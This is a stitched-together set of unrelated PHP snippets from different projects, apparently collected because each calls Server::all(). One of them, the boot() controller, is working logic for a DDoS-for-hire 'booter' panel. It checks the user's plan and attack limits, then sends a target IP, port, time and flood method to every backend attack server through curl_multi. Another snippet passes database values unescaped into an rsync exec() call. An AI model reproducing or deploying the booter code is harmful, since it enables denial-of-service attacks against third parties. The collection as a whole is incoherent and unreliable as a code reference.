public static function getOnline() { $cnt = 0; foreach (Server::all() as $s) { $url = $s->url; $result = @get_headers($url); if (isset($result[0]) && $result[0] == 'HTTP/1.1 200 OK') { $cnt++; } } return $cnt; }
public function get_overview() { return View::make('page.admin.server.overview')->with('servers', Server::all()); }
/** * Gets a list of all the servers * * @param array $scopes optional * * @return array of PatrolSdk\Server */ public function servers($scopes = []) { $server = new Server($this, $scopes); return $server->all(); }
private function servers() { $class = get_class(new Server()); $this->log($this->verb . ' Servers'); $url = $this->baseUrl . "world?c:limit=100"; $data = $this->getCensusData($url); if (!$data) { return false; } // Collection of Eloquent objects from API $apiCollection = new Collection(); foreach ($data->world_list as $server) { $values = []; $values['id'] = isset($server->world_id) ? $server->world_id : null; $values['name'] = isset($server->name->en) ? $server->name->en : null; $values['slug'] = isset($server->name->en) ? Str::camel($server->name->en) : null; $apiCollection->add(new Server($values)); } $servers = Server::all(); $this->addModels($class, $servers, $apiCollection); $this->deleteModels($class, $servers, $apiCollection); $this->updateModels($class, Server::all(), $apiCollection, ['name', 'slug']); }
public function boot($host, $time, $port, $method) { set_time_limit(800); if (!Auth::check()) { return View::make('msg.errormn')->with('error', 'You are not logged in.'); } if (Booter::status() == false) { return View::make('msg.errormn')->with('error', 'The booter is currently offline, try again later.'); } if (Server::count() == 0) { return View::make('msg.errormn')->with('error', 'There are no servers to boot with.'); } if (Auth::user()->hasPlanExpired()) { return View::make('msg.errormn')->with('error', 'Your plan has expired.'); } if (empty($host) || !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { return View::make('msg.errormn')->with('error', 'Invalid target IP address.'); } if (Blacklist::where('ip', '=', $host)->count() > 0 || $host == $_SERVER['SERVER_ADDR'] || $host == gethostbyname(gethostname()) || Custblacklist::where('type', '=', 'ip')->where('blacklist', '=', $host)->count() > 0) { return View::make('msg.errormn')->with('error', 'This host is blocked from being attacked.'); } if (empty($time) || !is_numeric($time)) { return View::make('msg.errormn')->with('error', 'Invalid time.'); } if (empty($port) || !is_numeric($port)) { return View::make('msg.errormn')->with('error', 'Invalid port.'); } if ($time > Auth::user()->time) { return View::make('msg.errormn')->with('error', 'Your max boot time is ' . Auth::user()->time . ' seconds.'); } if ($time < 1) { return View::make('msg.errormn')->with('error', 'Boot for at least 1 second.'); } if ($method != 'stop') { if (!Auth::user()->concurrentCheck()) { return View::make('msg.errormn')->with('error', 'You already have ' . Auth::user()->concurrent . ' attacks running, you can start your next attack in ' . Auth::user()->secondsToAttackFinish() . ' seconds.'); } } //Get all methods $settings = parse_ini_file('application/config/config.ini'); $m = $settings['methods']; $m = explode(',', $m); for ($i = 0; $i < count($m); $i++) { $methods[$i] = $m[$i]; } $methods['stop'] = 'stop'; if (empty($methods[$method])) { return View::make('msg.errormn')->with('error', 'Invalid method.'); } if ($method != 'stop') { Attack::create(array('user_id' => Auth::user()->id, 'user_ip' => $_SERVER['REMOTE_ADDR'], 'ip' => $host, 'time' => $time, 'port' => $port, 'method' => strtolower($methods[$method]))); } $mh = curl_multi_init(); $ch3 = array(); $cnt = Server::count(); $servers = Server::all(); for ($i = 0; $i < $cnt; $i++) { $server = $servers[$i]; $url = $server->url . '?' . $server->host . '=' . $host . '&' . $server->time . '=' . $time . '&' . $server->port . '=' . $port . '&' . $server->method . '=' . strtolower($methods[$method]) . '&' . $server->custom; $ch3[$i] = curl_init($url); curl_setopt($ch3[$i], CURLOPT_RETURNTRANSFER, 1); curl_multi_add_handle($mh, $ch3[$i]); } $running = NULL; do { $mrc = curl_multi_exec($mh, $running); } while ($running > 0); return true; }
if (!empty($files)) { foreach ($files as $file) { $xml = (array) simplexml_load_file($file); $save = $doc->storeMetadata($xml, true); } } $directory = $_ENV['SYNC_DIRECTORY'] . 'logger/' . $yesterday . '/update/'; $files = File::files($directory); if (!empty($files)) { foreach ($files as $file) { $xml = (array) simplexml_load_file($file); $save = $doc->updateMetadata($xml, null, true); } } }); $servers = Server::all(); foreach ($servers as $server) { /** * Pull file from remote servers periodically * Depends on each server schedule configuration */ Cron::add($server['jobname'], $server['schedule'], function () use($server) { exec('rsync -a -e "ssh -p 2222" ' . $server['hostname'] . '@' . $server['address'] . ':' . $server['directory'] . ' ' . $_ENV['SYNC_DIRECTORY']); }); /** * Sync metadata.xsd (push) */ // Cron::add("schema", $_ENV['SCHEMA_SYNC_SCHEDULE'], function() use ($server) { // exec('rsync -a -e "ssh -p 2222" '.$_ENV['SYNC_DIRECTORY'].' '.$server['hostname'].'@'.$server['address'].':public'); // }); }